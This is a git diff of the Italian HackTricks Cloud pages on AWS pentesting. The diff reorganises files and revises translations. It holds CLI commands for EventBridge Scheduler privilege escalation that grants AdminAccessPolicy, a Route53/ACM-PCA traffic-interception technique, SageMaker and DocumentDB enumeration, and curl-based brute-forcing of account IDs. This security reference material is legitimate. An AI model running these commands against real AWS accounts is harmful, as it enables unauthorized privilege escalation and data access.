+Per farlo segui le istruzioni su [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html)
 
-Accedi con quell'utente in workdoc e accedi al pannello di amministrazione in `/workdocs/index.html#/admin`
+Effettua il login con quell'utente in workdoc e accedi al pannello di amministrazione in `/workdocs/index.html#/admin`
 
 Non ho trovato alcun modo per farlo dalla cli.
 
 
 
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md
similarity index 60%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md
index f757de2c8..396fdc1a4 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc/README.md
@@ -1,20 +1,20 @@
 # AWS - EventBridge Scheduler Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## EventBridge Scheduler
 
-Ulteriori informazioni su EventBridge Scheduler in:
+Maggiori informazioni su EventBridge Scheduler in:
 
 {{#ref}}
-../aws-services/eventbridgescheduler-enum.md
+../../aws-services/eventbridgescheduler-enum.md
 {{#endref}}
 
 ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`)
 
-Un attaccante con questi permessi sarà in grado di **`creare`|`aggiornare` un scheduler e abusare dei permessi del ruolo dello scheduler** ad esso associato per eseguire qualsiasi azione
+Un attacker con quei permessi sarà in grado di **`create`|`update` uno scheduler e abusare dei permessi del scheduler role** ad esso associato per eseguire qualsiasi azione
 
-Ad esempio, potrebbero configurare il programma per **invochare una funzione Lambda** che è un'azione templata:
+Per esempio, potrebbero configurare lo schedule per **invoke a Lambda function** che è un'azione templata:
 ```bash
 aws scheduler create-schedule \
 --name MyLambdaSchedule \
@@ -25,7 +25,7 @@ aws scheduler create-schedule \
 "RoleArn": "arn:aws:iam::<account-id>:role/<RoleName>"
 }'
 ```
-Oltre alle azioni di servizio templated, puoi utilizzare **universal targets** in EventBridge Scheduler per invocare un'ampia gamma di operazioni API per molti servizi AWS. Gli universal targets offrono flessibilità per invocare quasi qualsiasi API. Un esempio può essere l'uso di universal targets aggiungendo "**AdminAccessPolicy**", utilizzando un ruolo che ha la policy "**putRolePolicy**":
+In aggiunta alle templated service actions, puoi usare **universal targets** in EventBridge Scheduler per invocare un'ampia gamma di operazioni API per molti servizi AWS. Universal targets offrono la flessibilità di invocare quasi qualsiasi API. Un esempio può essere usare universal targets per aggiungere la "**AdminAccessPolicy**", utilizzando un ruolo che ha la policy "**putRolePolicy**":
 ```bash
 aws scheduler create-schedule \
 --name GrantAdminToTargetRoleSchedule \
@@ -42,4 +42,4 @@ aws scheduler create-schedule \
 - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html)
 - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
deleted file mode 100644
index abccccb42..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# AWS - Route53 Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-Per ulteriori informazioni su Route53 controlla:
-
-{{#ref}}
-../aws-services/aws-route53-enum.md
-{{#endref}}
-
-### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate`
-
-> [!NOTE]
-> Per eseguire questo attacco l'account target deve già avere un [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** configurato nell'account, e le istanze EC2 nei VPC devono già aver importato i certificati per fidarsi di esso. Con questa infrastruttura in atto, è possibile eseguire il seguente attacco per intercettare il traffico API di AWS.
-
-Altri permessi **raccomandati ma non necessari per la parte di enumerazione**: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs`
-
-Assumendo che ci sia un VPC AWS con più applicazioni cloud-native che comunicano tra loro e con l'API di AWS. Poiché la comunicazione tra i microservizi è spesso crittografata TLS, deve esserci una CA privata per emettere i certificati validi per quei servizi. **Se viene utilizzato ACM-PCA** per questo e l'avversario riesce a ottenere **accesso per controllare sia route53 che acm-pca private CA** con il set minimo di permessi descritti sopra, può **dirottare le chiamate dell'applicazione all'API di AWS** prendendo il controllo dei loro permessi IAM.
-
-Questo è possibile perché:
-
-- Gli SDK di AWS non hanno [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)
-- Route53 consente di creare Private Hosted Zone e record DNS per i nomi di dominio delle API di AWS
-- La CA privata in ACM-PCA non può essere limitata a firmare solo certificati per nomi comuni specifici
-
-**Impatto Potenziale:** Privesc indiretto intercettando informazioni sensibili nel traffico.
-
-#### Sfruttamento <a href="#discovery" id="discovery"></a>
-
-Trova i passaggi di sfruttamento nella ricerca originale: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md
new file mode 100644
index 000000000..3e311a553
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md
@@ -0,0 +1,32 @@
+# AWS - Route53 Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Per maggiori informazioni su Route53 consulta:
+
+{{#ref}}
+../../aws-services/aws-route53-enum.md
+{{#endref}}
+
+### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate`
+
+> [!NOTE]
+> Per eseguire questo attacco l'account target deve già avere un [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** configurato nell'account, e le istanze EC2 nella/e VPC devono aver già importato i certificati per fidarsi di essa. Con questa infrastruttura in posizione, il seguente attacco può essere eseguito per intercettare il traffico delle API AWS.
+
+Altri permessi raccomandati ma non richiesti per la parte di enumerazione: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs`
+
+Assumendo che ci sia una AWS VPC con molteplici applicazioni cloud-native che comunicano tra loro e con le API AWS. Poiché la comunicazione tra i microservizi è spesso cifrata con TLS, deve esserci una CA privata per emettere i certificati validi per quei servizi. **Se ACM-PCA viene usato** per questo e l'avversario riesce a ottenere **accesso per controllare sia route53 che la private CA di acm-pca** con il set minimo di permessi descritto sopra, può **dirottare le chiamate delle applicazioni alle API AWS** prendendo possesso delle loro autorizzazioni IAM.
+
+Questo è possibile perché:
+
+- Gli AWS SDK non hanno [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning)
+- Route53 permette di creare Private Hosted Zone e record DNS per i nomi di dominio delle API AWS
+- La Private CA in ACM-PCA non può essere limitata a firmare soltanto certificati per specifici Common Names
+
+**Impatto potenziale:** privesc indiretto tramite l'intercettazione di informazioni sensibili nel traffico.
+
+#### Sfruttamento <a href="#discovery" id="discovery"></a>
+
+Trova i passaggi di sfruttamento nella ricerca originale: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md
similarity index 59%
rename from src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
rename to src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md
index 4a1fa5326..b74799a92 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md
@@ -1,12 +1,12 @@
-# AWS - DocumentDB Enum
+# AWS - DocumentDB
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## DocumentDB
 
-Amazon DocumentDB, che offre compatibilità con MongoDB, è presentato come un **servizio di database veloce, affidabile e completamente gestito**. Progettato per la semplicità nel deployment, nell'operazione e nella scalabilità, consente la **migrazione e l'operazione senza soluzione di continuità di database compatibili con MongoDB nel cloud**. Gli utenti possono sfruttare questo servizio per eseguire il loro codice applicativo esistente e utilizzare driver e strumenti familiari, garantendo una transizione e un'operazione fluida simile a quella di lavorare con MongoDB.
+Amazon DocumentDB, che offre compatibilità con MongoDB, è presentato come un **servizio di database veloce, affidabile e completamente gestito**. Progettato per la semplicità nella distribuzione, nell'operazione e nella scalabilità, permette la **migrazione e l'operatività senza soluzione di continuità di database compatibili con MongoDB nel cloud**. Gli utenti possono sfruttare questo servizio per eseguire il loro codice applicativo esistente e utilizzare driver e strumenti familiari, garantendo una transizione e un'operatività fluide simili a quelle di MongoDB.
 
-### Enumeration
+### Enumerazione
 ```bash
 aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint"
 aws docdb describe-db-instances #Get hostnames from here
@@ -21,7 +21,7 @@ aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attribute
 ```
 ### NoSQL Injection
 
-Poiché DocumentDB è un database compatibile con MongoDB, puoi immaginare che sia anche vulnerabile a comuni attacchi di iniezione NoSQL:
+Poiché DocumentDB è un database compatibile con MongoDB, puoi immaginare che sia anche vulnerabile ai comuni attacchi NoSQL injection:
 
 {{#ref}}
 https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
@@ -30,11 +30,11 @@ https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html
 ### DocumentDB
 
 {{#ref}}
-../aws-unauthenticated-enum-access/aws-documentdb-enum.md
+../../aws-unauthenticated-enum-access/aws-documentdb-enum/README.md
 {{#endref}}
 
-## References
+## Riferimenti
 
 - [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md
new file mode 100644
index 000000000..dd348aa76
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md
@@ -0,0 +1,201 @@
+# AWS - SageMaker Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Panoramica del servizio
+
+Amazon SageMaker è la piattaforma managed di machine learning di AWS che mette insieme notebooks, infrastruttura di training, orchestrazione, registri e endpoint gestiti. Un compromesso delle risorse di SageMaker tipicamente fornisce:
+
+- Ruoli IAM di esecuzione a lunga durata con ampio accesso a S3, ECR, Secrets Manager o KMS.
+- Accesso a dataset sensibili memorizzati in S3, EFS o all'interno di feature store.
+- Punti d'appoggio di rete all'interno di VPC (Studio apps, training jobs, endpoints).
+- Presigned URLs ad alto privilegio che aggirano l'autenticazione della console.
+
+Comprendere come SageMaker è assemblato è fondamentale prima di pivot, persist o exfiltrate i dati.
+
+## Componenti principali
+
+- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Ogni domain ha un filesystem EFS condiviso e un ruolo di esecuzione di default.
+- **Notebook Instances**: istanze EC2 gestite per notebook standalone; utilizzano ruoli di esecuzione separati.
+- **Training / Processing / Transform Jobs**: container effimeri che scaricano codice da ECR e dati da S3.
+- **Pipelines & Experiments**: workflow orchestrati che descrivono tutti i passaggi, input e output.
+- **Models & Endpoints**: artefatti impacchettati distribuiti per inferenza tramite endpoint HTTPS.
+- **Feature Store & Data Wrangler**: servizi gestiti per la preparazione dei dati e la gestione delle feature.
+- **Autopilot & JumpStart**: ML automatizzato e catalogo di modelli curati.
+- **MLflow Tracking Servers**: UI/API MLflow gestita con token di accesso presigned.
+
+Ogni risorsa fa riferimento a un ruolo di esecuzione, posizioni S3, immagini dei container e configurazione opzionale VPC/KMS—cattura tutte durante l'enumerazione.
+
+## Account e metadati globali
+```bash
+REGION=us-east-1
+# Portfolio status, used when provisioning Studio resources
+aws sagemaker get-sagemaker-servicecatalog-portfolio-status --region $REGION
+
+# List execution roles used by models (extend to other resources as needed)
+aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' --output text | tr '	' '
+' | sort -u
+
+# Generic tag sweep across any SageMaker ARN you know
+aws sagemaker list-tags --resource-arn <sagemaker-arn> --region $REGION
+```
+Annota eventuali relazioni di trust cross-account (ruoli di esecuzione o S3 buckets con principal esterni) e le restrizioni di base come service control policies o SCPs.
+
+## Domini di Studio, App e Spazi Condivisi
+```bash
+aws sagemaker list-domains --region $REGION
+aws sagemaker describe-domain --domain-id <domain-id> --region $REGION
+aws sagemaker list-user-profiles --domain-id-equals <domain-id> --region $REGION
+aws sagemaker describe-user-profile --domain-id <domain-id> --user-profile-name <profile> --region $REGION
+
+# Enumerate apps (JupyterServer, KernelGateway, RStudioServerPro, CodeEditor, Canvas, etc.)
+aws sagemaker list-apps --domain-id-equals <domain-id> --region $REGION
+aws sagemaker describe-app --domain-id <domain-id> --user-profile-name <profile> --app-type JupyterServer --app-name default --region $REGION
+
+# Shared collaborative spaces
+aws sagemaker list-spaces --domain-id-equals <domain-id> --region $REGION
+aws sagemaker describe-space --domain-id <domain-id> --space-name <space> --region $REGION
+
+# Studio lifecycle configurations (shell scripts at start/stop)
+aws sagemaker list-studio-lifecycle-configs --region $REGION
+aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name <name> --region $REGION
+```
+Cosa registrare:
+
+- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`.
+- EFS montato (`HomeEfsFileSystemId`) e directory home S3.
+- Script di lifecycle (spesso contengono credenziali bootstrap o codice aggiuntivo push/pull).
+
+> [!TIP]
+> Presigned Studio URLs possono aggirare l'autenticazione se concessi in modo troppo permissivo.
+
+## Notebook Instances & Lifecycle Configs
+```bash
+aws sagemaker list-notebook-instances --region $REGION
+aws sagemaker describe-notebook-instance --notebook-instance-name <name> --region $REGION
+aws sagemaker list-notebook-instance-lifecycle-configs --region $REGION
+aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-lifecycle-config-name <cfg> --region $REGION
+```
+I metadati del notebook rivelano:
+
+- Ruolo di esecuzione (`RoleArn`), accesso diretto a Internet vs modalità solo VPC.
+- Posizioni S3 in `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`.
+- Script di lifecycle per credenziali o hook di persistenza.
+
+## Training, Processing, Transform e Batch Jobs
+```bash
+aws sagemaker list-training-jobs --region $REGION
+aws sagemaker describe-training-job --training-job-name <job> --region $REGION
+
+aws sagemaker list-processing-jobs --region $REGION
+aws sagemaker describe-processing-job --processing-job-name <job> --region $REGION
+
+aws sagemaker list-transform-jobs --region $REGION
+aws sagemaker describe-transform-job --transform-job-name <job> --region $REGION
+```
+Esamina:
+
+- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – quali immagini ECR sono distribuite.
+- `InputDataConfig` & `OutputDataConfig` – bucket S3, prefissi e chiavi KMS.
+- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – determinano la configurazione di rete o di crittografia.
+- `HyperParameters` possono leak segreti dell'ambiente o stringhe di connessione.
+
+## Pipeline, Esperimenti e Trial
+```bash
+aws sagemaker list-pipelines --region $REGION
+aws sagemaker list-pipeline-executions --pipeline-name <pipeline> --region $REGION
+aws sagemaker describe-pipeline --pipeline-name <pipeline> --region $REGION
+
+aws sagemaker list-experiments --region $REGION
+aws sagemaker list-trials --experiment-name <experiment> --region $REGION
+aws sagemaker list-trial-components --trial-name <trial> --region $REGION
+```
+Le definizioni di Pipeline dettagliano ogni step, i ruoli associati, le container images e le environment variables. I componenti Trial spesso contengono training artefact URIs, S3 logs e metriche che suggeriscono il flusso di dati sensibili.
+
+## Modelli, Configurazioni di Endpoint & Endpoint distribuiti
+```bash
+aws sagemaker list-models --region $REGION
+aws sagemaker describe-model --model-name <name> --region $REGION
+
+aws sagemaker list-endpoint-configs --region $REGION
+aws sagemaker describe-endpoint-config --endpoint-config-name <cfg> --region $REGION
+
+aws sagemaker list-endpoints --region $REGION
+aws sagemaker describe-endpoint --endpoint-name <endpoint> --region $REGION
+```
+Focus areas:
+- URI S3 degli artefatti del modello (`PrimaryContainer.ModelDataUrl`) e immagini dei container di inferenza.
+- Configurazione di Endpoint data capture (S3 bucket, KMS) per possibile esfiltrazione dei log.
+- Endpoint multi-model che usano `S3DataSource` o `ModelPackage` (verificare cross-account packaging).
+- Configurazioni di rete e gruppi di sicurezza associati agli endpoint.
+
+## Feature Store, Data Wrangler & Clarify
+```bash
+aws sagemaker list-feature-groups --region $REGION
+aws sagemaker describe-feature-group --feature-group-name <feature-group> --region $REGION
+
+aws sagemaker list-data-wrangler-flows --region $REGION
+aws sagemaker describe-data-wrangler-flow --flow-name <flow> --region $REGION
+
+aws sagemaker list-model-quality-job-definitions --region $REGION
+aws sagemaker list-model-monitoring-schedule --region $REGION
+```
+Considerazioni di sicurezza:
+
+- I feature store online replicano i dati su Kinesis; controlla `OnlineStoreConfig.SecurityConfig.KmsKeyId` e la VPC.
+- I flussi di Data Wrangler spesso includono credenziali JDBC/Redshift o endpoint privati.
+- I job di Clarify/Model Monitor esportano dati in S3 che potrebbero essere leggibili pubblicamente o accessibili da altri account.
+
+## MLflow Tracking Servers, Autopilot & JumpStart
+```bash
+aws sagemaker list-mlflow-tracking-servers --region $REGION
+aws sagemaker describe-mlflow-tracking-server --tracking-server-name <name> --region $REGION
+
+aws sagemaker list-auto-ml-jobs --region $REGION
+aws sagemaker describe-auto-ml-job --auto-ml-job-name <name> --region $REGION
+
+aws sagemaker list-jumpstart-models --region $REGION
+aws sagemaker list-jumpstart-script-resources --region $REGION
+```
+- MLflow tracking servers memorizzano esperimenti e artefatti; le presigned URLs possono esporre tutto.
+- Autopilot jobs avviano più training jobs—enumerare gli output per dati nascosti.
+- Le JumpStart reference architectures possono distribuire ruoli privilegiati nell'account.
+
+## Considerazioni IAM e di Networking
+
+- Enumerare le IAM policy associate a tutti i ruoli di esecuzione (Studio, notebooks, training jobs, pipelines, endpoints).
+- Controllare i contesti di rete: subnets, security groups, VPC endpoints. Molte organizzazioni isolano i training jobs ma dimenticano di limitare il traffico in uscita.
+- Rivedere le S3 bucket policies referenziate in `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` per accesso esterno.
+
+## Privilege Escalation
+
+{{#ref}}
+../../aws-privilege-escalation/aws-sagemaker-privesc/README.md
+{{#endref}}
+
+## Persistence
+
+{{#ref}}
+../../aws-persistence/aws-sagemaker-persistence/README.md
+{{#endref}}
+
+## Post-Exploitation
+
+{{#ref}}
+../../aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
+{{#endref}}
+
+## Unauthorized Access
+
+{{#ref}}
+../aws-sagemaker-unauthorized-access/README.md
+{{#endref}}
+
+## Riferimenti
+
+- [AWS SageMaker Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/whatis.html)
+- [AWS CLI SageMaker Reference](https://docs.aws.amazon.com/cli/latest/reference/sagemaker/index.html)
+- [SageMaker Studio Architecture](https://docs.aws.amazon.com/sagemaker/latest/dg/gs-studio.html)
+- [SageMaker Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/security.html)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
deleted file mode 100644
index 265a108a5..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
+++ /dev/null
@@ -1,43 +0,0 @@
-# AWS - Enumerazione Non Autenticata degli Account
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ID Account
-
-Se hai un obiettivo, ci sono modi per cercare di identificare gli ID degli account correlati all'obiettivo.
-
-### Brute-Force
-
-Crei un elenco di potenziali ID account e alias e li controlli.
-```bash
-# Check if an account ID exists
-curl -v https://<acount_id>.signin.aws.amazon.com
-## If response is 404 it doesn't, if 200, it exists
-## It also works from account aliases
-curl -v https://vodafone-uk2.signin.aws.amazon.com
-```
-Puoi [automatizzare questo processo con questo strumento](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py).
-
-### OSINT
-
-Cerca url che contengono `<alias>.signin.aws.amazon.com` con un **alias relativo all'organizzazione**.
-
-### Marketplace
-
-Se un fornitore ha **istanze nel marketplace,** puoi ottenere l'ID del proprietario (ID account) dell'account AWS che ha utilizzato.
-
-### Snapshots
-
-- Snapshot EBS pubblici (EC2 -> Snapshots -> Public Snapshots)
-- Snapshot RDS pubblici (RDS -> Snapshots -> All Public Snapshots)
-- AMI pubbliche (EC2 -> AMIs -> Public images)
-
-### Errori
-
-Molti messaggi di errore AWS (anche accesso negato) forniranno queste informazioni.
-
-## Riferimenti
-
-- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md
new file mode 100644
index 000000000..1bb505ec5
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md
@@ -0,0 +1,43 @@
+# AWS - Accounts Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ID degli account
+
+Se hai un target, ci sono modi per provare a identificare gli ID degli account correlati al target.
+
+### Brute-Force
+
+Crei una lista di potenziali ID account e alias e li verifichi
+```bash
+# Check if an account ID exists
+curl -v https://<acount_id>.signin.aws.amazon.com
+## If response is 404 it doesn't, if 200, it exists
+## It also works from account aliases
+curl -v https://vodafone-uk2.signin.aws.amazon.com
+```
+Puoi [automatizzare questo processo con questo strumento](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py).
+
+### OSINT
+
+Cerca URL che contengono `<alias>.signin.aws.amazon.com` con un **alias relativo all'organizzazione**.
+
+### Marketplace
+
+Se un fornitore ha **instances in the marketplace,** puoi ottenere l'owner id (account id) dell'account AWS che ha usato.
+
+### Snapshots
+
+- Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots)
+- RDS public snapshots (RDS -> Snapshots -> All Public Snapshots)
+- Public AMIs (EC2 -> AMIs -> Public images)
+
+### Errori
+
+Molti messaggi di errore di AWS (anche 'access denied') forniscono queste informazioni.
+
+## Riferimenti
+
+- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
deleted file mode 100644
index fcae217d8..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
+++ /dev/null
@@ -1,52 +0,0 @@
-# AWS - API Gateway Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### Bypass dell'invocazione API
-
-Secondo il talk [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), i Lambda Authorizers possono essere configurati **utilizzando la sintassi IAM** per concedere permessi per invocare gli endpoint API. Questo è preso [**dalla documentazione**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html):
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Permission",
-"Action": ["execute-api:Execution-operation"],
-"Resource": [
-"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path"
-]
-}
-]
-}
-```
-Il problema con questo modo di dare permessi per invocare gli endpoint è che il **"\*" implica "qualsiasi"** e non c'è **più sintassi regex supportata**.
-
-Alcuni esempi:
-
-- Una regola come `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` per dare a ciascun utente accesso a `/dashboard/user/{username}` darà loro accesso ad altri percorsi come `/admin/dashboard/createAdmin`, per esempio.
-
-> [!WARNING]
-> Nota che **"\*" non smette di espandersi con le barre**, quindi, se usi "\*" in api-id per esempio, potrebbe anche indicare "qualsiasi fase" o "qualsiasi metodo" purché la regex finale sia ancora valida.\
-> Quindi `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\
-> Può convalidare una richiesta post per testare la fase al percorso `/prod/GET/dashboard/admin`, per esempio.
-
-Dovresti sempre avere chiaro cosa vuoi permettere di accedere e poi controllare se altri scenari sono possibili con i permessi concessi.
-
-Per ulteriori informazioni, oltre alla [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), puoi trovare codice per implementare autorizzatori in [**questo ufficiale aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints).
-
-### Iniezione di Politiche IAM
-
-Nella stessa [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE) viene esposto il fatto che se il codice utilizza **input dell'utente** per **generare le politiche IAM**, i caratteri jolly (e altri come "." o stringhe specifiche) possono essere inclusi con l'obiettivo di **bypassare le restrizioni**.
-
-### Modello di URL Pubblico
-```
-https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
-```
-### Ottieni l'ID dell'account dall'URL pubblico dell'API Gateway
-
-Proprio come con i bucket S3, Data Exchange e gli URL dei gateway Lambda, è possibile trovare l'ID dell'account di un account abusando della **`aws:ResourceAccount`** **Policy Condition Key** da un URL pubblico dell'API Gateway. Questo viene fatto trovando l'ID dell'account un carattere alla volta abusando dei caratteri jolly nella sezione **`aws:ResourceAccount`** della policy.\
-Questa tecnica consente anche di ottenere **valori dei tag** se conosci la chiave del tag (ce ne sono alcuni predefiniti interessanti).
-
-Puoi trovare ulteriori informazioni nella [**ricerca originale**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e nello strumento [**conditional-love**](https://github.com/plerionhq/conditional-love/) per automatizzare questa sfruttamento.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md
new file mode 100644
index 000000000..c14718782
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md
@@ -0,0 +1,52 @@
+# AWS - API Gateway Enumerazione non autenticata
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### API Invoke bypass
+
+Secondo il talk [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), i Lambda Authorizers possono essere configurati **usando la sintassi IAM** per concedere permessi di invocare endpoint API. Questo è tratto [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html):
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Permission",
+"Action": ["execute-api:Execution-operation"],
+"Resource": [
+"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path"
+]
+}
+]
+}
+```
+The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**.
+
+Some examples:
+
